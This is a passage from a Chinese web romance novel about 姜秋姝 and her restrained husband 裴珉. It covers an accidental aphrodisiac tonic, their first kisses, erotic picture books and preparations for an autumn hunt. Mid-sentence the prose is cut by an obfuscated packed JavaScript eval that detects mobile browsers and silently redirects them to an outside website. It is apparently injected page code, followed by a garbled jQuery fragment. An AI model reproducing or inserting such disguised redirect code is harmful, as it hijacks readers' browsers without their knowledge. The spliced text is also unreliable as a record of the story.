那是他的杯子,裴珉想要提醒,见她喝的急,茶水顺着唇角往下流,水珠过修长的脖颈,有些停留在肌肤上,有些往下走,齐胸衫裙中间的系带聚拢之处。 裴珉侧过头,暗自咳嗽了声,从袖中拿出手帕递给她,“喝慢些。” 姜秋姝只觉得热得慌,没怎么听清裴珉说的话,只是在盯着他张合的唇畔,脸颊热了起来。 她接过手帕,指尖触在他的掌心,裴珉愣了愣,掌心被轻划过,轻飘飘却往心头里钻去。 她忍着燥意,擦了擦水渍,皆说秋老虎咬人,如今是晓得了。 这天太热了些。 裴珉的药喝完了,她将碗放进食盒中,就要告辞,她在此处待着又不能立刻怀上个孩儿来。 其实姜秋姝想过,叫裴珉也去瞧瞧大夫的,到底是怕伤了他的脸面,若是这补药不管用,便另行他法吧! 姜秋姝提着食盒走向门口,忽然裴珉的声音传来,“你的《孝经》可抄写好了?” 姜秋姝原本燥热自心中而起,听到裴珉的询问,心头的燥意更加浓烈了,他本就知晓她书法差,写出的字丑,还偏偏要罚她抄写。 况且那日她不过是遭受了无妄之灾,李九娘分明爱慕裴珉,才会叫她在正明侯府出丑。 原是想忍着,她不想计较太多,可今日心头却难以抒发,她转身大步而来。 裴珉眸光落在她身上,不自然的将视线偏移,她步履翩翩,身姿俏然,暖香似玉,一步一行似弱柳扶风,诱人视线。 裴珉本想叫她端庄些,可嗓子却说不出话来,身上蒸腾起股莫名的涨热之感,此刻他并未联想到姜秋姝给他带来的补药。 谁又能想到这青天白日里,自家一向贤淑的夫人,竟然会端来助兴之物。 姜秋姝原也觉得自己行动间气势如虹,可在走到书案后头,靠近裴珉时,浓烈的雄性的气息,叫她腿腕忍不住弯曲,她勉力撑在桌子上。 “五郎只知罚抄妾身《孝经》吗?”她埋怨道。 姜秋姝是不明白裴珉为何独爱这册书。 裴珉不语,只是盯着她的眼神格外热切,像是野兽盯着猎物的强悍,姜秋姝被他眼眸烫了下,两人一个站着,一个坐着,并未有过任何的动作,可身体的姿态相合,气息容不得旁人接近。 “五郎。”姜秋姝不安的唤了声。 裴珉手掌落到她的手背上,姜秋姝被吓得想要逃脱,可身体却背叛了她,想要这种亲密。 裴珉视线依次落在她的眉宇,双眸,红唇,最后停留在细细的脖颈上,上面依旧残留着一道水痕,她擦拭时,都未曾发现那道水迹没入了隐秘之处。 裴珉拉着那双柔荑,指尖轻轻摩挲着手背,来回摩擦,眼中的是他自己未曾看到的沉,像是隐藏在风浪中。 姜秋姝身子又软了些,此刻若是再察觉不到异样,便是傻了。 那大夫到底开了什么药! 姜秋姝有些站立不住,腰间骤然出现一只手,往下一拉,她落入在他怀中,被紧紧的箍住。 “五郎。”她被吓了跳,小声道。 从未这般亲密过,臀部下面是坚硬的双腿,这个时节两人穿的都不多,她想过离开,可腰间的那双手,将她牢牢困在怀中。 他抵住她的额头,眼中此刻变得猩红,“你给我喝了什么?” 寻常的药,绝不会有这样的作用,他以往并不是没有喝错过东西,以他的家世想要接近他的女子不在少数,可那些药尽管会让他不适,他亦能自我克制住,厌恶的呵斥那些人,叫她们滚。 可这般的效果非药带来的,而是她! 她的味道,娇俏的笑颜,自新婚他便晓得她对他的影响,只是没想到刻意的疏远,会在今日变本加厉。 裴珉牢牢的抱住她,无人察觉到他的手腕发着抖,身体与意志抗争。 白日宣淫于理不合,以往读过的圣贤典籍,都在教他克制,教他‘绝嗜禁欲,所以除累①’ 可却碰上了她。 他看着她娇花似的脸,殷红的唇畔娇艳欲滴,捏住她的下颚,所以的克制彻底的瓦解,唇堵了上来,只是在唇畔处反复摩挲,他狠狠的压着,心底的渴望叫他做些什么,可只生涩的碰着唇瓣。 姜秋姝被他磨得疼,唇口轻启,他的唇瓣下意识的碰触到里面些,他身躯一震,姜秋姝身体也忍不住抖了下。 从未想过男女间亲吻,还能是这般,裴珉眼神沉迷了几分。 姜秋姝感受到臀部下的异样,过往此事的痛教她清醒了过来,就在他的手从腰间松了松,即将从衣摆下摸索进去,她忍不住咬了下他的唇,连忙推开了他,忙不迭的跑出了书房。 裴珉趴在桌上,眸光里是压抑着铺天盖地的欲望,裴珉望向腹部,拢起的弧度叫他脸色难堪起来。 幸而她跑了,不然很难想象他会做出什么来。 不可!不可! 姜秋姝跑回房间,将头按在枕头处,身体的余韵久久不散,若是她未跑,两人莫不是真的在书房做了那般事? 她抿了下干涩的唇,身体一股股涌着水意,连忙爬起来从箱子里拿出月事带,可当她去浴房后却发现并未来月事。 她处理完后,坐在椅子上,连忙唤来了锦绣,瞧瞧和她说了些话。 锦绣娇羞着应下了。 约莫一个时辰后,锦绣捧着几本话本回来了。 姜秋姝拿起本端详了起来,原就是困惑的,越瞧便又迷茫了几分,这话本比起她新婚时瞧的春宫图更加的隐晦。 恩爱两相好,势必九霄还逍遥,暗香暖玉魂,起起伏伏漾星河…… 什么意思? 姜秋姝眉头越发紧蹙,似懂非懂,她晓得孕育子嗣是需要播种,种子越好,才可能生出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410239|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茁壮的苗。 这些也并没有什么关联吧! “娘子,”此时锦绣进来了,她端着一个盒子,悄悄走到了她身侧,“此物不晓得何人送来的,瞧着贵重。” 姜秋姝看着盒子上刻着鸿雁,立刻叫锦绣放下,她打开盒子,里面有封信。 她拆开,里面只有三个字:不必谢。 她又看着盒中其他的物品,有几本书册,她打开后连忙合上,一张俏脸嫣红,正巧又飘出来了张纸,锦绣要去捡,被姜秋姝的高了些的声音吓了跳。 姜秋姝让锦绣下去了,将地上的纸捡了起来。 此乃本宫的珍藏,比起街边劣质的话本,娘子想要的应有尽有,早说过裴太傅是个不懂情趣的,娘子若想要弃暗投明,尽管来寻本宫,必给你找十个八个俊俏郎君。 姜秋姝请教过李长宁,两人间虽不常见面,可私底下的联系从未断过,没想到她回的这般的快。 她只言,想瞧着恩爱情仇的画本,没想到她竟然送来了这些。 姜秋姝继续看起来画册,脸颊通红,可眼底却多了了然。 等到看的差不多时,原先的羞怯也全部消失,只感叹原来男女间是这般的。种子能够开花结果,可此事除开基本的子嗣传承,竟然还有这么多的招式。 他从不曾与她那般的靠近,是不喜除她有旁的肌肤之亲,只做着繁衍子嗣之事,除此之外吝啬给她欢喜? 不!他是君子一举一动都遵循着礼制,未曾有偏差,这些隐匿的书册应该从未看过。 床榻间只寻了最规矩的来,生怕碰触了别的地方冒犯了她,就连新婚时都差点儿寻不到地方,两人磨蹭了许久。 脑中回忆起裴珉的书房的举动来,连碰触她的唇瓣都是生涩都,她坐在他的膝上,困住她腰间的那双手紧紧的抓住披帛,手背青筋迸发,忍耐着克制着不肯跨越雷池一步。 那双忍到发红的眼眸,铺天盖地的欲望,压得她喘不过气来,手上的画册在这一刻莫名的烫了起来。 她将画册放回盒子中,摸了摸唇瓣。 那是他头次碰触她的嘴唇,除开在床榻间唯有的亲密。 那时的她是愉悦的,身子忍不住的颤抖,他呼吸急促的打在她的脖颈,身体确实麻木动作像被锁链所困住。 她耳畔隐约听到了锁链挣扎生出裂痕的脆声,她吓得推开了他,逃回了房间。 她抚摸着盒子上的细纹,心头升起股诡异念头。 裴珉当真如表面般的光风霁月? 她感受到了他的冲动,他也有寻常人的渴求,若是他褪下那层皮囊,又该是何模样? 只想了瞬,脖颈侧他急促的喘息似乎还残留着,那双盛满欲望的双眼,像是道印记打在她的身体上。 绯红不知何时爬上了脸,她藏匿起那盒子,坐到了床边,怀抱着那盆洛阳红。 这几日还是少于裴珉见面吧!她此刻心中杂念太多。 可偏偏怕什么来什么,关嬷嬷在门外唤了声。 “娘子,五郎寻您。” 22-30 第22章 第22章她的手被他举过头顶…… “咳咳” 姜秋姝没想到,裴珉竟然会当众提起这件事来,她刚咽下食物,忍不住剧烈咳嗽起来。 她扫视周围一眼,并无人看向他们,就连方才还在说话的三夫人,照顾着身侧的五郎君用着膳。 她小声回道:“郎君,妾身稍后与您解释,可好。” 至少此刻此时此地,这般多的人,她若说出口,怕是污了他的名声。 裴珉未言,也不晓得是不是应下。 两人继续用着膳食,姜秋姝心中有愧,不敢再看向裴珉的方向,裴珉侧目瞧着她脸颊的绯红,比起方才要生动了些。 用完早膳,姜秋姝问过裴珉是否与她一道回院子,好与他解释药的事儿,太夫人身边的嬷嬷却来了。 她以为是找她的,没想到是来寻裴珉的。 众人散去,各自回了院子,只剩下太夫人和裴珉。 太夫人静坐,说了些关切的话,言辞和善,眉目温和,一副慈母的模样。 裴珉起身拱手,在太夫人面前有礼而恭敬,太夫人拍了拍手边的书册,笑着让人起来。 裴珉看了眼太夫人手旁的东西,眉眼比起方才深了几分。 “这是你姨娘抄写的,她还在世便很注重这些。”太夫人摸着《孝经》以及一些礼法的书籍,十分的感慨。 裴珉垂眸,神色更是收敛了些。 “应该的,自古礼法便是为了约束人的行径,有礼有法才成家国,其中百善中孝字又为首。”裴珉道。 太夫人满意了几分,“是啊!这些我留着也无用,便给你到底是个念想。” 裴珉应是,在嬷嬷将书递过来,他接到手中,触摸的瞬间,眉宇间寒气却一闪而过。 “此次秋狩,将二娘他们夫妻也带上吧!”太夫人浅笑道。 她问过定国公,可惜那老货是个顽固的,怎么也没想过拉孙女婿一把,拒绝了,裴珉是当朝太傅,他将人带去,结识些世家人官途会顺畅些。 “是。” 见裴珉答应了,太夫人面上更好了些,“也将姜氏带去吧!即便你再不喜,她也是你的夫人,上次便未带,长此以往也怕旁人说闲话。” “路途颠簸,儿怕她不喜。”裴珉如实道。 “有何不喜的,国公府的马车又不是穷乡僻壤的驴车,还能叫她颠着了?”太夫人以为这是裴珉的借口,只是嫌弃姜秋姝出身低微,才不将人带在身侧。 裴珉不晓得想了什么,答应了下来。 陛下即便秋狩的消息,迅速传遍了洛阳,姜秋姝正和关嬷嬷绣着荷包。 锦绣却是极为欣喜的,“五郎深受圣宠,定是要去的。到时候奴婢们也可跟娘子沾沾光,瞧瞧别处的风景。”锦绣自幼便在国公府为奴,还从未走出过洛阳。 姜秋姝沉默地绣着荷包,他又怎会带她去呢? 去年秋狩,她初初听闻,也是有些许的兴奋的,她从未骑过马,不会弓箭,对秋狩也是好奇的,往日在洛阳曾远远瞧过圣人圣驾,一行人浩浩荡荡往猎场而去,打头的将士骑着高头大马,英姿飒爽。 她家贫,只用一头运送鲜花的驴,瞧见那一幕兴奋不已,曾被阿耶抱着在驴上骑了骑,可始终惦念着骏马。 那时,她也以为自己能见上见,裴珉教了她那么多,唯独没有骑射。 帮裴珉整理行装的奴仆来来往往,却从未提过她,她眼中的希冀逐渐熄灭,因为直到他离开,也从未和她说过要带上她。 他从未想过要与她一道出行。 姜秋姝绣着荷包,很快绣好了一朵牡丹花,今春洛阳红开了花,快要败时,她将花瓣收集起来,晒干,这牡丹花样式她和关嬷嬷学了许久才学会。 等做好洛阳红荷包,她可时常佩戴在身侧,犹如阿娘阿耶在她身边般。 入了夜,裴珉也没有回来,今日本就不逢五,她也未等,早早熄了蜡烛。 裴珉回玉珩院时,正房除了檐下两盏照亮的灯笼,房内漆黑一片,现下已经是亥时,她应当睡了。 他看了眼,便回了自己的房间。 接下来几日,裴珉都十分繁忙,圣人即将秋狩,朝中许多事都要靠裴珉处理,等安排好了,才好去猎场狩猎。 姜秋姝的荷包,也绣了大半,她的手艺比起之前那个歪歪扭扭的青竹,已经有很大精益了。 “娘子给五郎也绣一个吧,老奴瞧这牡丹花还有多的。”关嬷嬷道。 夫妻间便是你来我往,刚进府时娘子还是时常往五郎那边送东西,或是寻借口与五郎待在一起,如今渐渐的娘子也不去寻五郎了,五郎呢,多数派人送东西过来,自个儿也不常来。 夫妻间这般的生疏,没了人情味儿,怎能过的下去。 “不必,牡丹花只是瞧着多,可好的却没有几瓣,且这般品种,五郎不一定看的上眼,日后得了好的我,再给他。”姜秋姝说着拒绝的话,裴珉即便是收下她的荷包,也不晓得放在哪个犄角旮旯里,落了灰,浪费她的心血。 “五郎是面冷心热,以前也不是这个模样,五郎幼年时,也如同天底下的小郎君般活泼好动,可崔姨娘尊礼守旧,”崔嬷嬷叹了口气,瞧见姜秋姝不为所动依旧绣着荷包。 “崔姨娘是个将礼法刻在骨子里的人,但凡五郎行走坐卧,有半点儿不合规矩,会罚五郎减了餐饭。崔姨娘教五郎孝顺嫡母,尊敬亲父,也最是注重嫡庶规矩的,时常劝诫五郎对大郎恭敬。 有一次,五郎从学堂回府,去太夫人面前请安,忽视了另一侧的大郎,便被崔姨娘训斥了顿,被罚抄写整整三日,少水少饭五郎晕了过去” 姜秋姝听到这里微微抬头。 关嬷嬷便继续说了起来,“太夫人惩罚了崔姨娘,将五郎养在膝下,又不忍心他们母子分离,每月总会叫五郎回崔姨娘身边待上几日。五郎天生聪慧,可崔姨娘不喜五郎出头,每每相见时,便用礼法压五郎,叫他懂得嫡庶尊卑,即便养在太夫人膝下,也不可越过大郎。” 说到这里,关嬷嬷眼中疼惜越发厉害,“亲母见不得亲子飞鸿腾达,崔姨娘是太夫人陪嫁,对太夫人忠心耿耿,家中恩荫本能给五郎个好职位,可崔姨娘跪在了太夫人和国公面前,宁死也要将五郎留在身边,不想五郎遮挡了大郎的风光。好在五郎学富五车,靠着科考成了状元,有了今日的地位。” 关嬷嬷很是感慨,五郎高中的那日,正是崔姨娘缠绵病榻闭目升天之日,崔姨娘死了便彻底压不住五郎了。 好在崔姨娘不过是妾,五郎不必为她守丧,可五郎还是自发守丧百日。 “太夫人可真是疼惜五郎。”姜秋姝的荷包刚好绣完,附和起关嬷嬷的话。 “谁说不是呢!”关嬷嬷神情欣慰。 姜秋姝整理针线同时,将关嬷嬷的模样看的真切,太夫人当真是厉害,能叫府中上下无一人说她的不好。 端起慈善的面容,若是真的疼裴珉,怎不将他捧上世子之位?叫裴珉遵循礼法,压制他的究竟是谁? 其中获利最大的是太夫人,可众人只能瞧见顽固守旧的崔姨娘,只言她阻碍了裴珉的路。 姜秋姝暗自摇头。 初五那日,她又将李长宁送她的书籍捧了出来,她忍着羞怯,特意将屋子里的人全部打发出去,才看了起来。 书案在最里侧,门口隔着一架屏风,她细细的翻着书册,里面除开图画,还有文字注解。 本就是抱着学习的态度,原先不敢看,后面倒是看的津津有味。 她便直说了,裴珉就是个不懂情趣的莽夫! 看的入神之际,谁也没瞧见屏风处,逐渐出现个人影,门口的关嬷嬷和锦绣相互瞧了眼,想要提醒下娘子,可惜方才娘子将她们都唤出去了。 正当姜秋姝翻页时,恍然抬头,一道人影离她不过一手臂的距离,她惊慌失措的站了起来,手忙脚乱的将画册合上。 “五…郎。”她的声音微微有些颤抖。 裴珉看过去。 娇媚的小脸,除开慌张,便是一些俏丽的红晕,恍若瞧了什么见不得人的东西。 “在看什么?”裴珉目光如炬,落到了被她双手压住的画册上。 这本画册极为低调,只在封页上只一朵合欢花,其余什么文字都无。 姜秋姝抬头看着他,挤出了个笑颜,“不过是些杂书。” 她也不确定他是否瞧见了,方才两人离得确实有些近,尤其是裴珉进来的消无声息。 裴珉眼神向下,神色收敛,“既然是杂书,为何那般惊慌?” 姜秋姝心咯噔了下,见他似要问到底,掩住慌张,镇定的声音多了分埋怨,“五郎还说呢!妾身一个人在,忽然瞧见个男子的身影,怎能不会被吓一跳。五郎也许久未来了,妾身还未反应过来。” 裴珉看不出来信没信,环视周围眼,“娘子好生准备下行囊,十日后去秋狩。” 姜秋姝初听,只以为是让她替他收拾行囊,后面彻底明白过来,她问道:“妾身也可去?” 裴珉点头。 姜秋姝心里竟然有些五味杂陈,一次又一次她其实已经习惯了,习惯被他抛在四方的宅院中。 如今,他竟然要带她一块儿。 她很快整理好心情,挂起个笑颜,立刻唤来锦绣和关嬷嬷她们进来整理东西。 裴珉视线多落在她脸上,他蹙眉,她的笑好似也并非表面那般的喜悦。 “你若不想便算了。”裴珉又道。 姜秋姝愣住了,不晓得方才的话是他真心,还是不过是他的托词,心底仍是不希望带她去。 她更收敛了几分,“妾身都听五郎的。” 裴珉不语,她看着他,静静听着他的吩咐,也无所谓去与不去,好似一切都听他的,可浑身却逐渐竖起了瞧不见的屏障,让他看不明白她的心。 裴珉见她的模样,心口像是往里灌着风,很凉,说不明道不清。 “去帮娘子收拾行囊。”他侧过身子,看着进来候着的人。 关嬷嬷和锦绣连连应下。 姜秋姝坐回了位置,趁着裴珉没看她时,将画册压在了书籍的最下面。 夜间,玉珩院奴仆做好了五郎要留宿正房的准备,姜秋姝如往常一样与裴珉一道用晚膳。 熏香燃起,她随着裴珉的动作,也净了净手。 原本是饿的,可现下当饭菜放满了桌,她只夹了些自己喜欢的食物,便吃不下了。 只是也好擅自离开,勉强放缓了动作,又夹了些,裴珉像是瞧出她的食之无味,用公筷往她碟子上夹了些。 “多用些,时辰还早。” 姜秋姝将他夹的吃了,可过了会儿碟子中,又多了些食物,她不好拒绝都吃了。 等用的差不多,底下人撤下了东西,裴珉用清茶漱了漱口。 “娘子那日为何端来滋补的汤。”裴珉到底还是说话婉转了些,并未说出是助兴的药。 姜秋姝刚抿了口茶,听见裴珉的话,呛的咳嗽了起来,这几日他都未来找她,她都当他已经忘记了。 “妾身确实命大夫写下滋补的药,只是不知为何会成了那种药。五郎公务繁忙,妾身是看在眼里,心中更是疼惜,担忧五郎身子,真没想到……”姜秋姝省去了自己怀疑裴珉是个银样镴枪头的话,其余皆是照实说。 裴珉自然不会与她太过计较,只是提点了她,以后莫要再乱给他送什么补汤。 “娘子请大夫看脉,是想要子嗣?”裴珉看过来时,眸光似有深思。 姜秋姝道:“自然,与五郎成婚有段时日,若是再无子嗣,府中人也该急了。” “便是因此?”裴珉又问道。 她点头,“嫁人生子,女子的一生便是如此。” 男子可以在外,女子只能在四方宅院中嫁人生子,即便婚前是如何的出彩,洛阳街上策马扬鞭,酒楼上高谈阔论,谈论诗词,可若是婚后便得打理好内宅,教养子女。 这是天底下皆默认的,无论婚前多恣意,婚后却得约束自我,男子却没有丝毫的变化,反倒是多了妻儿,衣食住行皆被料理的妥当。 若是换做男子在内宅,女子畅意过活,在外逍遥快活? 姜秋姝摇了摇头,暗道自己想太多,若是有可能,她也想当男子。 裴珉望了过去,“不急。府中若是有人为难,你可告知我。” 不过是小事儿,那些过耳的话,她其实没放在心上,起初有过难过,可后来,那些人都非自己在意的,浪费心神。 “妾身省的。” 夜间,姜秋姝没有练字的心思,只是找了丝线,在灯下打着络子好配她的荷包。 裴珉走近,坐在另一侧看着她动作,“月白色的丝线好看。” 姜秋姝听他提了嘴,月白色的与她的荷包配在一起并不好看,她拿了条绯色,可又不好拒绝裴珉的提议太过明显。 “月白色虽好,可比其他线要细上些,妾身手笨不好做,且绯色与妾身衣物要配些。” 裴珉没说话,直接起身,朝浴房而去。 好似生气? 姜秋姝有些没懂他的反应,莫不是他以为她是给他打的,可他连她的荷包都不喜,怎会喜欢她拙劣的技艺。 应当是她多思了。 她继续打着手上的络子,人一专注某件事儿,时间便会过的快些。 裴珉出来时,一身的水汽,浑厚的气息将她围绕,她动作一顿,背后略微高与她的体温叫她慌了瞬。 “去沐浴,早些安寝。” 裴珉说完话,拿过她手中打了一半的络子,她连忙起身,瞧了眼他眼眸中的波涛,心在此刻跳动的比以往快了些。 “是。” 浴房水汽尚未消散,婆子重新换了水,她躺在浴桶中,无端想起了那些画册上的内容,以及那日裴珉的反应。 她摸了摸唇瓣,也不晓得是被热气熏得,还是旁的什么,脸儿泛粉。 夜漆黑,他低头,眸光缠绕着她,像是张网将她完全铺盖住,她紧张的抓住被褥,“五郎怎么了?” 他盯着她,叫她心底发憷的同时,忍不住想要挣脱他。 他的视线逐渐从上落到她的唇瓣,“可以亲吗?” 姜秋姝以为是自己听错了,可裴珉又问了声。 上回在书房时,他吻下来可没有问过她!瞧裴珉这般一板一眼的,姜秋姝想起了关嬷嬷说过的话,崔姨娘自他幼时便那规矩压着他。 他自小便是被教导的,如书中般受孝悌敬尊长,无规矩不成方圆,连与妻子亲昵都要询问妻子的意见。 她有些想要发笑,找不清理由,总归太多,只嗯了声。 亲吻可以叫两人关系近些,也可减轻痛苦。 吻落下来时,动作生涩,只是在唇上来回的碾压,她有些难受,想要推开,可最终没动。 唇瓣是陌生的温度,呼吸近的相互交错,他胸膛的起伏,让她感受的一清二楚,以往也像如今跳的这般离开。 正当她晃神时,下颚忽然被他抓住,像是在不满她的走神,他靠在她的颈侧,小心的蹭了蹭,却又始终不敢跨越雷池,他的手搂住她,若即若离,强压着想要往上走的驱使。 便是吻,也不过是最浅显的举动,见他呼吸比方才沉了些,她咬了咬牙,环住了他的腰,离开了些。 “五郎,为何亲我?”姜秋姝也不晓得自己为何会问出这样的话。 夫妻间何事都是应当的,吻与不问又何妨。 “想。” 姜秋姝以为他不会回答,没想到回了虽然是个极为简单的字。 想? 清晨,姜秋姝看了下外头。 “娘子今日倒是早。”说完话,锦绣连忙羞的低下头,谁不晓得娘子与五郎每每在一起,娘子都是要比平常晚起许多,今日没想到与平常一般无二。 许是两人昨夜并未行礼? 锦绣不好猜测这些,只是在伺候娘子穿衣时,瞧见娘子颈侧皮肤有些发红,她惊讶道:“娘子可是被蚊虫咬了,奴婢去拿药!” 姜秋姝对着镜子看见这红痕,一时间愣了神,她头一回主动搂住了裴珉的腰侧,没想到会叫他这般大的反应,下一刻她的手被他举过了头顶…… 书上说唇齿交缠,裴珉只是浅浅的亲了亲她的唇瓣,只是在表面蹭了蹭,可到底还是与往日不同。 可这只是亲吻而已。 镜子里,她的脸泛红,脑中想了许多东西,锦绣疑惑的看着这幕。 姜秋姝不好解释,只是任由锦绣替她抹了抹药膏。 用过早膳,房里堆着大小的红木箱,关嬷嬷和锦绣兴致勃勃的收拾着东西,此次秋狩她们也可跟着去伺候娘子。 姜秋姝由着她们收拾,关嬷嬷清点着衣服过了会儿,她声音惊讶,“娘子您没有骑装?” 说完关嬷嬷敲了敲自己的脑袋,娘子自从嫁入府中,衣服都是由着公中所制,每季八套衣物,若是不够,便得自个儿添了钱,请人做,都是些常服,娘子从未骑射过,自然没有备下骑装。 “好在还有十日,请了绣娘赶急做,不会耽误了娘子事儿。”关嬷嬷道。 姜秋姝点头,随着关嬷嬷的话,也对秋狩多了些心思。总是留在洛阳,少往外走,其实是寂寥的。 她生于市井,阿娘阿耶从不用规矩困她,自幼便见识过许多,奇人异师街头杂耍,火中取栗,喷火,胸口碎大石,吞剑。 她被阿娘和阿耶牵着从街头到街尾,从扬州到洛阳,是翱翔天际的鸟。 窗外湛蓝的天,偶有鸟群掠过,风拂过,发丝随之飘荡,姜秋姝勾了勾头发,别在耳后。 “娘子,天亮了,老奴将窗户关上。” 窗合上,她看着屋内熟悉的摆设,竟然有些陌生,心头的怅然无处可发。 如今吃穿不愁,她又有什么不满意的? 关嬷嬷和锦绣在一侧商量衣料的事,关嬷嬷忽然道:“圣人前不久赏赐了不少东西,其中有皇室特供的瑞绫,乃是定州上贡的,给娘子做骑装正好。” 裴珉的东西?姜秋姝想都未想便拒绝了,他既然未曾与她说过,便另有用途。 不是她的东西,她便是再喜欢也不能要。 关嬷嬷瞧见姜秋姝的态度,十分的可惜,眼瞧着娘子也是喜欢的,夫妻间又不是什么外人,关嬷嬷不懂,为何娘子连问问五郎都不? 这番,请了外边儿绣坊的人来做,量体的婆子在奴仆的带领下进了玉珩院。 她规矩的朝着姜秋姝行了礼,姜秋姝站在了中央张开双臂,任由婆子替她量着尺寸。 其实按照以往的尺寸做,也是可以的,可骑装与旁的衣服不同,多是要便于行动,少有偏差,才能合体。 婆子看了眼姜秋姝,连忙低头,她也给不少世家小娘子做过衣服,便是那少出内宅的女子,她也是见过,可从未瞧见过这般耀眼夺目的小娘子。 容色倾国倾城,颦颦一笑动人心魄,尤其是那双透亮的眼眸,不藏隐私,坦荡澄清,等婆子走近拿出帛尺,视线落在她的身上。 真是个佳人! “这是做何?”裴珉进来时,瞧见个生脸。 关嬷嬷连忙将事情说了,她始终恋恋不忘那瑞绫,“娘子要做骑装,老奴晓得五郎那儿有匹好布。” 关嬷嬷是裴珉的乳母,自小的情分,在裴珉面前她还算是得脸,说话也不必如旁人般循规蹈矩。 裴珉未开口,姜秋姝便从他脸上看出了迟疑,她打着圆场,“嬷嬷,我柜子里还有好些五郎给的布料,留着都快发霉了。” 关嬷嬷见两位皆,那批瑞绫她看过,颜色俏丽多是给女子用的,郎君不给娘子用,难道给府中的哪位小辈? 三娘四娘五娘年纪尚小,用不着,大娘出嫁与五郎关系不亲,二娘? 关嬷嬷却不觉得五郎会将那布料给了二娘,越想关嬷嬷越不敢想,若是旁的小娘子? 裴珉并未离开,坐在了一旁的小榻上,底下的人连忙上了热茶。 婆子立马起身帮姜秋姝量着尺寸,方才她隐隐瞧了眼,原来当朝太傅相貌竟也这般的俊!可为人也忒小气了吧! 自家娘子要个布料,都要不到! 婆子暗暗腹诽,记下姜秋姝手腕,脚腕,腿部,臀部的数据,帛尺逐渐往上落到了她的腰。 婆子辨认了下数,小腰纤细,盈盈一握,帛尺又往上环绕在姜秋姝的胸前。 姜秋姝双臂张开,正对着裴珉的方向,此时裴珉忽然抬起了头,两人眸光相触,姜秋姝率先败下阵来。 这般模样,着实有些窘迫。 恰巧此时,婆子略微压低的赞叹声响起,“娘子真是好身段。” 姜秋姝垂眸,落到前胸,前朝以瘦为美,若是从重量来算,她应当是瘦的,身躯却是玲珑有致。 可…她转了转身子,侧对着裴珉,任由婆子继续替她量。 夫妻间,什么未曾见过,这两人这般的客气,莫不是行事是也得问问这儿行不行,哪儿行不行? 婆子掩了掩唇,笑看姜秋姝隐隐泛红的耳垂。 裴珉轻咳声,也连忙收回了视线,婆子的话虽然小,可屋子寂静,他自然也是听得见。 他拿起茶杯,抿了口茶水,喉咙的干渴感和心底的热浇散了些。 来此本就是鬼使神差,昨夜他从未见过她那般的娇艳。 以往,两人间亲近,每每只能瞧见她紧蹙的眉头,他晓得她不喜,可昨夜与往常不同,除开痛苦,她好似有了别的。 他一夜未曾安眠,坐在床榻侧瞧了许久,她睡得很熟,脸上疲惫并没有多少,他忍不住触了下她的唇。 柔软,娇嫩。 “五郎?”姜秋姝走到裴珉面前,晃了晃。 “量完了?”屋子里已经没了婆子的身影。 姜秋姝点头,那婆子已经离开有一阵了,她让关嬷嬷给了赏银,婆子笑的欢天喜地。姜秋姝看的亲切,比起国公府里的人,她们那样的更有烟火气。 他是在走神? “我哪儿还有越州的宝花罗,透气又轻软,给娘子做骑装吧!”他朝关嬷嬷吩咐道。 关嬷嬷连连点头,没有瑞绫这宝花罗也是极好的,也是贡品,做骑装更合适。 姜秋姝到不在意什么瑞绫宝花罗,只是他留着这些适合女子的布料,不是给她用,便是给其他的女子? 她揣测过裴秋月,可若是裴秋月得了这么匹好布料,尤其是裴珉给的,早早就到她面前炫耀了,所以是她不认识的其他女子? 姜秋姝垂眸,捏了捏腰间的香囊。 不会的,裴珉不是那般的人他光明磊落,是她多想了。 *** 秋狩那日,洛阳城里浩浩荡荡,行策军开路,将士甲胄如麟,腰间的刀未出窍,凛冽的隔开了看热闹的百姓,圣人的轿撵居中,周围的人壁垒森严。 太夫人和国公爷年事已高留守洛阳,圣人只点了国公和裴珉的名,长辈不去,二房三房还有四房的也不好腆着脸跟去,毕竟他们职位低微。 这也是太夫人要裴珉带上裴秋月的缘故。 至于三郎君裴承,在行策军任职,得跟着一道去护卫圣人。 姜秋姝坐进马车,左右环顾,里面的装饰与她以往见过的不大一样,当马车开始行驶时,竟也比平时要稳当。 裴珉深受圣人宠幸,跟在圣人身边,马车上只她和随行的关嬷嬷锦绣。 “娘子,真热闹啊!”锦绣透过半开的窗户,瞧着外边儿侍卫威严却又目不改色,忽然她指着窗外一人道:“娘子瞧,是三郎君。” 姜秋姝刚好抬眸,裴承一身黑色劲衣,腰间别着一把剑,比起在府中所见的常服,多了些严正,她收回了视线,未曾发现马背上的人朝她的方向看了眼。 “瞧见哪家的小娘子了?都入迷了。”一郎君骑着马与裴承并驾。 “别胡说!”裴承声音略大了些。 那郎君却很快意思到不对,这个模样好像是心虚,结果裴承没理会他,鞭子一扬,马儿直接跑远。 啧啧,少年心事多源于情爱。 郎君往裴承方向的视线看了过去,只能瞧见紧闭的车窗,他‘驾’了声,马儿跟着跑了起来,很快的功夫,便追上了裴承。 “以往三郎君待人和善的很,还未从见过他这般肃穆的模样。”关嬷嬷感叹道。 她家五郎是个老性子,沉稳得当,三郎君钦佩五郎,也跟着学,可少年郎君多朝气磅礴,学的只是些皮毛,她倒是希望五郎与三郎君一样,可同样的年岁,五郎内敛,没有少年儿郎打马观花的意气风发。 姜秋姝并不搭话,只是依靠在里侧的小榻上,休憩起来。 关嬷嬷见状噤了声,悄悄的给姜秋姝披上毯子。 约莫两刻钟,车门口传来敲击声,和马车的阻拦声音。 姜秋姝自睡梦中醒来,困倦未消,还有丝被吵醒的怒意,“何事?” 马车被打开,裴秋月一脸的不悦,赵士远小声的劝慰着。 “马车坏了,五叔母可否捎上我们。”裴秋月咬着牙,在赵士远的安抚下放低了姿态。 姜秋姝看了看外边儿,不少马车因他们的停顿皆停了下来,她没多想让他们上来了。 那么多人瞧着,也不能让别家的看他们的笑话。 裴秋月原本是不想来的,总不能到后面跟奴仆挤一辆车。原以为五叔也在,结果只姜秋姝一人。 这马车,本就寻常的宽阔了不少,即便坐了五人,依旧很空旷。 